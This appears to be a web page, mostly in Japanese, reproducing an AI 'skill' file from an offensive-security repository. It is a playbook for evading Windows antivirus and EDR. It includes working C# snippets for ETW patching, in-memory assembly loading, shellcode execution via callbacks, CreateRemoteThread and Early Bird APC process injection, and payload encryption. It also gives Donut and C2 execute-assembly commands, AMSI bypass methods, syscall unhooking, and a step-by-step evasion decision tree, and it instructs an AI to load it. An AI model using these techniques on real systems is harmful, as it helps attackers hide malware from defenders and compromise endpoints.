windows-av-evasion
WindowsにおけるAV/EDR回避のプレイブック。AMSI・ETWのバイパス、.NETアセンブリ検出の迂回、シェルコード実行、プロセスインジェクション、APIフッキング、シグネチャベースの検出回避が必要な場面で活用します。
description の原文を見る
>- AV/EDR evasion playbook for Windows. Use when bypassing AMSI, ETW, .NET assembly detection, shellcode execution, process injection, API hooking, and signature-based detection on Windows endpoints.
SKILL.md 本文
SKILL: AV/EDR Evasion — Expert Attack Playbook
AI LOAD INSTRUCTION: Windows向けの高度なAV/EDR回避技術。AMSI bypass、ETW bypass、.NETアセンブリロード、シェルコード実行、プロセスインジェクション、unhooking、ペイロード暗号化、署名回避をカバーします。基本モデルは検出固有のバイパスチェーンとsyscallレベルの回避ニュアンスを見落とします。
0. RELATED ROUTING
深く掘り下げる前に、以下を読み込む事を検討してください:
windows-privilege-escalationprivescツールがAVでブロックされている場合windows-lateral-movementラテラルムーブメントツールがEDRをトリガーしている場合active-directory-kerberos-attacksRubeus/Mimikatzが検出される場合active-directory-acl-abuseバイナリ非依存のAD攻撃向け(AV感度が低い)
Advanced Reference
以下の場合も読み込んでください AMSI_BYPASS_TECHNIQUES.md:
- 詳細なAMSI bypass コードパターン(メモリパッチング、リフレクション)
- PowerShell固有のAMSI bypass
- .NET AMSI bypass技術
1. AMSI BYPASS OVERVIEW
AMSI (Antimalware Scan Interface) は実行時にPowerShell、.NET、VBScript、JScript、Officeマクロを検査します。
Key AMSI Bypass Categories
| カテゴリ | メソッド | 検出リスク | 永続性 |
|---|---|---|---|
| メモリパッチング | amsi.dll内のAmsiScanBufferをパッチ | 中 | プロセスごと |
| リフレクション | .NETリフレクション経由でAMSI初期化フラグを修正 | 中 | セッションごと |
| 文字列難読化 | AMSI トリガー文字列をエンコード/分割 | 低 | ペイロードごと |
| PowerShell ダウングレード | PS v2を強制(.NET 2.0があれば、v2にはAMSIなし) | 低 | セッションごと |
| CLM bypass | 制限付き言語モードを脱出 | 中 | セッションごと |
| COM ハイジャック | AMSI COMサーバーをリダイレクト | 低 | ユーザーごと |
Quick AMSI Bypass (ワンライナー)
# PowerShell v2 ダウングレード(.NET 2.0が利用可能な場合 — v2にはAMSIなし)
powershell -Version 2
# リフレクションベース(amsiInitFailed = true を設定)
# 静的検出を回避するために難読化 — 完全なパターンはAMSI_BYPASS_TECHNIQUES.mdを参照
2. ETW BYPASS
ETW (Event Tracing for Windows) はEDRにテレメトリを提供します。EtwEventWriteをパッチすると .NETアセンブリロードイベントが停止します。
Patch EtwEventWrite
// C# — EtwEventWriteをすぐに返すようパッチ
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// 最初のバイトに ret (0xC3) を書き込む
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);
PowerShell ETW Bypass
# Script Block Logging(ETW プロバイダー)を無効化
[Reflection.Assembly]::LoadWithPartialName('System.Management.Automation')
# 内部フィールドを設定してETW トレーシングを無効化
3. .NET ASSEMBLY LOADING
In-Memory Assembly.Load
byte[] assemblyBytes = File.ReadAllBytes("tool.exe");
// またはURLからダウンロード、リソースから復号化
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { args });
Donut — .NET アセンブリをシェルコードに変換
# .NET EXEからシェルコードを生成
donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main
# パラメータ付き
donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"
# その後、任意のインジェクション技術でシェルコードをロード(§5)
execute-assembly (C2 Framework)
# Cobalt Strike
execute-assembly /path/to/Rubeus.exe kerberoast
# Sliver
execute-assembly /path/to/SharpHound.exe -c all
# Havoc
dotnet inline-execute /path/to/tool.exe args
4. SHELLCODE EXECUTION TECHNIQUES
VirtualAlloc + Callback (CreateThreadを回避)
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, addr, sc.Length);
// CreateThreadの代わりにコールバックAPIを使用(監視が少ない)
EnumWindows(addr, IntPtr.Zero);
シェルコード実行用コールバックAPI: EnumWindows、EnumChildWindows、EnumFonts、EnumDesktops、CertEnumSystemStore、EnumDateFormats — すべてシェルコードを指すことができる関数ポインタを受け入れます。
5. PROCESS INJECTION TECHNIQUES
| テクニック | 使用API | 検出リスク | 注釈 |
|---|---|---|---|
| CreateRemoteThread | OpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread | 高 | 古典的で、大きく監視される |
| NtMapViewOfSection | NtCreateSection、NtMapViewOfSection | 中 | 共有メモリ、あまり一般的ではない |
| Process Hollowing | CreateProcess(SUSPENDED)、NtUnmapViewOfSection、WriteProcessMemory、ResumeThread | 中 | プロセスイメージを置き換え |
| Thread Hijacking | SuspendThread、SetThreadContext、ResumeThread | 中 | 既存スレッドを修正 |
| Early Bird | CreateProcess(SUSPENDED)、QueueUserAPC、ResumeThread | 低~中 | メインスレッド前にAPC |
| Phantom DLL Hollowing | DLLセクションをマップ、シェルコードで上書き | 低 | 正当なDLLマッピングを使用 |
| Module Stomping | LoadLibrary、.textセクションを上書き | 低 | 正当なDLLでバック |
| Transacted Hollowing | NtCreateTransaction、NtCreateSection | 低 | 疑わしい割り当てなし |
CreateRemoteThread (基本パターン)
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
Early Bird APC Injection
// サスペンド状態でプロセスを作成
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, ref pi);
// シェルコードを割り当てと書き込み
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);
// メインスレッドにAPC をキュー(メイン エントリポイント前に実行)
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
6. UNHOOKING — BYPASS EDR API HOOKS
Direct Syscalls (SysWhispers / HellsGate)
EDRはntdll.dll関数をフックします。直接syscallはカーネルを直接呼び出すことでフックをバイパスします。
通常: ユーザーコード → ntdll.dll (HOOKED) → カーネル
直接: ユーザーコード → syscall命令 → カーネル (フックをバイパス)
| ツール | メソッド | 注釈 |
|---|---|---|
| SysWhispers2/3 | コンパイル時syscallスタブ | 静的syscall番号 |
| HellsGate | 実行時syscall番号解決 | 動的、検出が難しい |
| HalosGate | フックされていない隣接syscallから解決 | 部分的フック対応 |
| TartarusGate | 拡張HalosGate | より堅牢な解決 |
Fresh ntdll Copy
// ディスクからクリーンなntdll.dllを読み込み
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// または KnownDlls: \KnownDlls\ntdll.dll から
// またはサスペンドプロセスから(犠牲プロセスを作成、そのntdllを読み込み)
// フックされた .textセクションをクリーンなコピーで上書き
// → ntdll内のすべてのEDRフックが削除される
Indirect Syscalls
// 代わりに: syscall(コード内 — 疑わしい)
// 実行: ntdll.dll内のsyscall命令にジャンプ(正当な場所)
// スタック上のret アドレスはユーザーコードではなくntdll.dllを指す
7. PAYLOAD ENCRYPTION & OBFUSCATION
暗号化方法
// AES暗号化(推奨)
using Aes aes = Aes.Create();
aes.Key = key; aes.IV = iv;
byte[] encrypted = aes.CreateEncryptor().TransformFinalBlock(shellcode, 0, shellcode.Length);
// XOR(シンプル、高速)
for (int i = 0; i < shellcode.Length; i++)
shellcode[i] ^= key[i % key.Length];
// RC4(ストリーム暗号、シンプル実装)
Sleep Obfuscation
スリープ中にメモリ内でシェルコードを暗号化し、メモリスキャナを回避します。
| テクニック | メソッド |
|---|---|
| Ekko | ROPチェーン → スリープ中にヒープ/スタックを暗号化 |
| Foliage | APCベースのスリープとメモリ暗号化 |
| DeathSleep | スリープ中のスレッド登録解除 |
Staged Loading
ステージ1: 小さく暗号化されたローダー(静的解析を回避)
ステージ2: 実行時にダウンロード、実際のペイロード(暗号化)
ステージ3: メモリで復号化 → 実行
8. SIGNATURE EVASION
文字列暗号化
// プレーンテキストAPI名、URL、ツール名を避ける
// 暗号化された文字列を使用し、実行時に復号化
string decrypted = Decrypt(encryptedApiName);
IntPtr funcPtr = GetProcAddress(GetModuleHandle("kernel32.dll"), decrypted);
API Hashing
// 名前の代わりにハッシュでAPIを解決(文字列検出を回避)
// "VirtualAlloc"のハッシュ → 0x91AFCA54
IntPtr func = GetProcAddressByHash(module, 0x91AFCA54);
メタデータ削除
# .NETメタデータを削除
ConfuserEx / .NET Reactor / Obfuscar
# PE メタデータを削除(タイムスタンプ、richヘッダー、デバッグ情報)
# コンパイルタイムスタンプを修正
# PDBパスを削除
C2 Framework Evasion
| フレームワーク | 主要な回避機能 |
|---|---|
| Cobalt Strike | Malleable C2プロファイル、HTTP/Sトラフィック整形、sleepジッター、PE回避 |
| Sliver | 複数プロトコル(mTLS、WireGuard、DNS)、ステージャーレス、組み込み難読化 |
| Havoc | 直接syscall、sleepobfuscation、module stomping |
| Brute Ratel | Badgerエージェント、syscall回避、組み込みETW/AMSI bypass |
9. AV/EDR EVASION DECISION TREE
保護されたホストでツール/ペイロードを実行する必要がある
│
├── PowerShellベースのペイロード?
│ ├── AMSIがブロック? → 最初にAMSI bypass(§1)
│ │ ├── .NET 2.0利用可能? → PS v2ダウングレード(AMSIなし)
│ │ ├── AmsiScanBufferをメモリパッチ
│ │ └── リフレクションベースのbypass
│ ├── Script Block Logging? → ETW bypass(§2)
│ └── Constrained Language Mode? → CLM bypassまたはC#に切り替え
│
├── .NETアセンブリ(Rubeus、SharpHound等)?
│ ├── 直接実行がブロック?
│ │ ├── In-memory Assembly.Load(§3)
│ │ ├── Donutでシェルコードに変換(§3)
│ │ └── C2 execute-assemblyを使用(§3)
│ └── それでも検出される?
│ ├── アセンブリを難読化(ConfuserEx)
│ ├── ソースを修正して再コンパイル
│ └── BOF(Beacon Object Files)を使用(CS使用時)
│
├── シェルコード実行が必要?
│ ├── 基本 → VirtualAlloc + callback(§4)
│ ├── インジェクション必要 → OPSEC別にテクニック選択(§5)
│ │ ├── 低検出必要 → module stompingまたはphantom DLL
│ │ ├── 中 → early bird APCまたはNtMapViewOfSection
│ │ └── 素早く → CreateRemoteThread
│ └── メモリスキャナーがペイロード検出?
│ ├── ペイロード暗号化 → 実行時のみ復号化(§7)
│ └── Sleep obfuscation(Ekko/Foliage)(§7)
│
├── EDRがntdll.dllをフック?
│ ├── 直接syscall(SysWhispers3/HellsGate)(§6)
│ ├── ディスク/KnownDllsからクリーンなntdllコピー(§6)
│ └── 間接syscall(ntdll命令に戻す)(§6)
│
├── 署名検出?
│ ├── 既知ツール署名 → 修正して再コンパイル
│ ├── 文字列ベース → 文字列暗号化 / APIハッシング(§8)
│ ├── PEメタデータ → 削除/修正(§8)
│ └── 動的 → 実行フローを変更、ジャンクコード追加
│
└── すべてのローカル回避失敗?
├── Living-off-the-Land(LOLBins)を使用: certutil、mshta、regsvr32
├── 正当な管理者ツール使用(PsExec、WMI、WinRM)
└── ファイルレス/メモリのみ技術に切り替え
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。